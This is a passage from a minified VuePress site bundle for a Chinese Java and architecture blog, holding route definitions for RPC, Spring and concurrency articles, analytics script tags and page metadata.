E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html"},{path:"/md/middleware/rpc/2022-10-09-《RPC手撸专栏》第13章-服务消费者异步转同步直接获取返回结果.html",redirect:"/md/middleware/rpc/2022-10-09-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9B%B4%E6%8E%A5%E8%8E%B7%E5%8F%96%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C.html"},{name:"v-57ca9e24",path:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-57ca9e24").then(E)}},{path:"/md/middleware/rpc/2022-10-10-《RPC手撸专栏》第14章-服务消费者异步转同步的自定义Future与AQS实现.html",redirect:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html"},{path:"/md/middleware/rpc/2022-10-10-《RPC手撸专栏》第14章-服务消费者异步转同步的自定义Future与AQS实现.html",redirect:"/md/middleware/rpc/2022-10-10-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%BC%82%E6%AD%A5%E8%BD%AC%E5%90%8C%E6%AD%A5%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89Future%E4%B8%8EAQS%E5%AE%9E%E7%8E%B0.html"},{name:"v-391e7474",path:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-391e7474").then(E)}},{path:"/md/middleware/rpc/2022-10-11-《RPC手撸专栏》第15章-服务消费者同步-异步-单向调用的实现.html",redirect:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{path:"/md/middleware/rpc/2022-10-11-《RPC手撸专栏》第15章-服务消费者同步-异步-单向调用的实现.html",redirect:"/md/middleware/rpc/2022-10-11-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%90%8C%E6%AD%A5-%E5%BC%82%E6%AD%A5-%E5%8D%95%E5%90%91%E8%B0%83%E7%94%A8%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"v-4bcd5a36",path:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-4bcd5a36").then(E)}},{path:"/md/middleware/rpc/2022-10-12-《RPC手撸专栏》第16章-服务消费者回调方法的实现.html",redirect:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{path:"/md/middleware/rpc/2022-10-12-《RPC手撸专栏》第16章-服务消费者回调方法的实现.html",redirect:"/md/middleware/rpc/2022-10-12-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC16%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%9B%9E%E8%B0%83%E6%96%B9%E6%B3%95%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"v-4f5e983c",path:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-4f5e983c").then(E)}},{path:"/md/middleware/rpc/2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.html",redirect:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html"},{path:"/md/middleware/rpc/2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.html",redirect:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html"},{name:"v-5b4b2898",path:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-5b4b2898").then(E)}},{path:"/md/middleware/rpc/2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.html",redirect:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{path:"/md/middleware/rpc/2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.html",redirect:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{name:"v-ec91f966",path:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-ec91f966").then(E)}},{path:"/md/middleware/rpc/2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.html",redirect:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{path:"/md/middleware/rpc/2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.html",redirect:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{name:"v-caee8a52",path:"/md/middleware/threadpool/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-caee8a52").then(E)}},{name:"v-7c8288a5",path:"/md/other/guide-to-reading.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-7c8288a5").then(E)}},{name:"v-96e2d6ce",path:"/md/performance/jvm/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-96e2d6ce").then(E)}},{name:"v-3c89ee52",path:"/md/performance/mysql/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-3c89ee52").then(E)}},{name:"v-46711436",path:"/md/performance/system/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-46711436").then(E)}},{name:"v-1b2fc345",path:"/md/performance/tomcat/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-1b2fc345").then(E)}},{name:"v-33a1c22a",path:"/md/project/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-33a1c22a").then(E)}},{name:"v-2dae6d1e",path:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2dae6d1e").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-027-如何实现方法、构造器位置的自动装配.html",redirect:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{path:"/md/core/spring/ioc/2022-04-04-027-如何实现方法、构造器位置的自动装配.html",redirect:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{name:"v-95e4fa80",path:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-95e4fa80").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-028-如何解决Spring的循环依赖问题.html",redirect:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{path:"/md/core/spring/ioc/2022-04-04-028-如何解决Spring的循环依赖问题.html",redirect:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{name:"v-a6b936c0",path:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-a6b936c0").then(E)}},{path:"/md/hack/tools/2022-04-17-038-Metasploit渗透MSSQL.html",redirect:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html"},{path:"/md/hack/tools/2022-04-17-038-Metasploit渗透MSSQL.html",redirect:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html"},{path:"*",component:zo}],No={title:"",description:"",base:"/",headTags:[["link",{rel:"icon",href:"/favicon.ico"}],["meta",{name:"robots",content:"all"}],["meta",{name:"author",content:"冰河"}],["meta",{"http-equiv":"Cache-Control",content:"no-cache, no-store, must-revalidate"}],["meta",{"http-equiv":"Pragma",content:"no-cache"}],["meta",{"http-equiv":"Expires",content:"0"}],["meta",{name:"keywords",content:"冰河,冰河技术, 编程语言,开发技术,分布式,微服务,高并发,高可用,高可扩展,高可维护,JVM技术,MySQL,分布式数据库,分布式事务,云原生,大数据,云计算,渗透技术,各种面试题,面试技巧"}],["meta",{name:"apple-mobile-web-app-capable",content:"yes"}],["script",{charset:"utf-8",async:"async",src:"/js/jquery.min.js"}],["script",{charset:"utf-8",async:"async",src:"/js/global.js"}],["script",{charset:"utf-8",async:"async",src:"/js/fingerprint2.min.js"}],["script",{charset:"utf-8",async:"async",src:"https://v1.cnzz.com/z_stat.php?id=1281063564&web_id=1281063564"}],["script",{charset:"utf-8",async:"async",src:"https://s9.cnzz.com/z_stat.php?id=1281064551&web_id=1281064551"}],["script",{},'\n var _hmt = _hmt || [];\n (function() {\n var hm = document.createElement("script");\n hm.src = "https://hm.baidu.com/hm.js?d091d2fd0231588b1d0f9231e24e3f5e";\n var s = document.getElementsByTagName("script")[0];\n s.parentNode.insertBefore(hm, s);\n })();\n ']],pages:[{title:"Home",frontmatter:{home:!0,heroImage:"/images/system/binghe-001.png",actionLinks:[{link:"/md/other/guide-to-reading.md",text:"开始阅读 →",class:"primary"},{link:"http://m6z.cn/6aeFbs",text:"知识星球",class:"secondary"}],features:[{title:"沉淀",details:"宝剑锋从磨砺出,梅花香自苦寒来。"},{title:"成长",details:"纸上得来终觉浅,绝知此事要躬行。"},{title:"突破",details:"持之以恒,贵在坚持,每天进步一点点。"}],footer:"GPL Licensed | Copyright © 2022 冰河,All rights reserved. 沉淀、成长、突破,帮助他人,成就自我!",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Home"},{property:"og:type",content:"article"},{property:"og:url",content:"/"},{name:"twitter:title",content:"Home"},{name:"twitter:url",content:"/"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/",relativePath:"README.md",key:"v-2c99a2f6",path:"/",headers:[{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/about/job/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/about/job/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/about/job/default.html",relativePath:"md/about/job/default.md",key:"v-0ed90b67",path:"/md/about/job/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/about/me/about-me.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/about/me/about-me.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/about/me/about-me.html",relativePath:"md/about/me/about-me.md",key:"v-21fe9a67",path:"/md/about/me/about-me.html",headers:[{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/about/study/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/about/study/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/about/study/default.html",relativePath:"md/about/study/default.md",key:"v-2141330f",path:"/md/about/study/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"BingheGuide | 冰河指南",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"BingheGuide | 冰河指南"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/all/all.html"},{name:"twitter:title",content:"BingheGuide | 冰河指南"},{name:"twitter:url",content:"/md/all/all.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/all/all.html",relativePath:"md/all/all.md",key:"v-61bf581b",path:"/md/all/all.html",headers:[{level:2,title:"关于本仓库",slug:"关于本仓库"},{level:2,title:"关于我",slug:"关于我"},{level:2,title:"本站知识总览",slug:"本站知识总览"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"},{level:2,title:"开源文档说明",slug:"开源文档说明"},{level:3,title:"协议",slug:"协议"},{level:3,title:"注意事项",slug:"注意事项"},{level:2,title:"冰河整理PDF",slug:"冰河整理pdf"},{level:2,title:"公众号文章同步(善用 Ctrl+F 搜索文章)",slug:"公众号文章同步-善用-ctrl-f-搜索文章"},{level:3,title:"我的新书",slug:"我的新书"},{level:3,title:"新书介绍",slug:"新书介绍"},{level:3,title:"RPC手撸专栏(🔥🔥🔥 )持续更新中...",slug:"rpc手撸专栏-🔥🔥🔥-持续更新中"},{level:3,title:"精通高并发系列",slug:"精通高并发系列"},{level:3,title:"手撸源码系列",slug:"手撸源码系列"},{level:3,title:"SA实战",slug:"sa实战"},{level:3,title:"MySQL核心知识",slug:"mysql核心知识"},{level:3,title:"字节码编程",slug:"字节码编程"},{level:3,title:"面试必问系列",slug:"面试必问系列"},{level:3,title:"架构师进阶系列",slug:"架构师进阶系列"},{level:3,title:"分布式事务系列",slug:"分布式事务系列"},{level:3,title:"精通JVM系列",slug:"精通jvm系列"},{level:3,title:"视频号系列",slug:"视频号系列"},{level:3,title:"性能调优系列",slug:"性能调优系列"},{level:3,title:"一起进大厂系列",slug:"一起进大厂系列"},{level:3,title:"互联网工程",slug:"互联网工程"},{level:3,title:"精通渗透系列",slug:"精通渗透系列"},{level:3,title:"精通大数据系列",slug:"精通大数据系列"},{level:3,title:"精通运维系列",slug:"精通运维系列"},{level:3,title:"吃透MySQL系列",slug:"吃透mysql系列"},{level:3,title:"Mycat系列",slug:"mycat系列"},{level:3,title:"Oracle专题",slug:"oracle专题"},{level:3,title:"程序员进阶系列",slug:"程序员进阶系列"},{level:3,title:"Java8新特性",slug:"java8新特性"},{level:3,title:"云原生专题",slug:"云原生专题"},{level:3,title:"开源框架与中间件系列",slug:"开源框架与中间件系列"},{level:3,title:"分布式缓存系列",slug:"分布式缓存系列"},{level:3,title:"分布式存储",slug:"分布式存储"},{level:3,title:"微服务专题",slug:"微服务专题"},{level:3,title:"Nginx技术",slug:"nginx技术"},{level:3,title:"Spring注解系列",slug:"spring注解系列"},{level:3,title:"设计模式系列",slug:"设计模式系列"},{level:3,title:"Kafka系列",slug:"kafka系列"},{level:3,title:"算法专题",slug:"算法专题"},{level:3,title:"Dubbo系列",slug:"dubbo系列"},{level:3,title:"MyBatis源码系列",slug:"mybatis源码系列"},{level:3,title:"网路编程",slug:"网路编程"},{level:3,title:"深度思考",slug:"深度思考"},{level:3,title:"程序人生",slug:"程序人生"},{level:3,title:"视频系列",slug:"视频系列"},{level:3,title:"小工具",slug:"小工具"},{level:3,title:"Python专题",slug:"python专题"},{level:2,title:"重磅福利",slug:"重磅福利"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/ActualCombat/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/ActualCombat/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/ActualCombat/default.html",relativePath:"md/concurrent/ActualCombat/default.md",key:"v-1fc1b82e",path:"/md/concurrent/ActualCombat/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"明明中断了线程,却为何不起作用呢?",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"明明中断了线程,却为何不起作用呢?",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"当我们在调用Java对象的wait()方法或者线程的sleep()方法时,需要捕获并处理InterruptedException异常。如果我们对InterruptedException异常处理不当,则会发生我们意想不到的后果!今天,我们就以一个案例的形式,来为大家详细介绍下为何中断执行的线程不起作用。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"明明中断了线程,却为何不起作用呢?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"twitter:title",content:"明明中断了线程,却为何不起作用呢?"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",relativePath:"md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md",key:"v-299725c0",path:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",headers:[{level:2,title:"程序案例",slug:"程序案例"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"由InterruptedException异常引发的思考",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"由InterruptedException异常引发的思考",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"当我们在调用Java对象的wait()方法或者线程的sleep()方法时,需要捕获并处理InterruptedException异常。如果我们对InterruptedException异常处理不当,则会发生我们意想不到的后果!今天,我们就以案例的形式聊聊并发编程中的InterruptedException异常。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"由InterruptedException异常引发的思考"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"twitter:title",content:"由InterruptedException异常引发的思考"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",relativePath:"md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.md",key:"v-31bbb118",path:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",headers:[{level:2,title:"程序案例",slug:"程序案例"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"要想学好并发编程,关键是要理解这三个核心问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"要想学好并发编程,关键是要理解这三个核心问题",tagline:"by 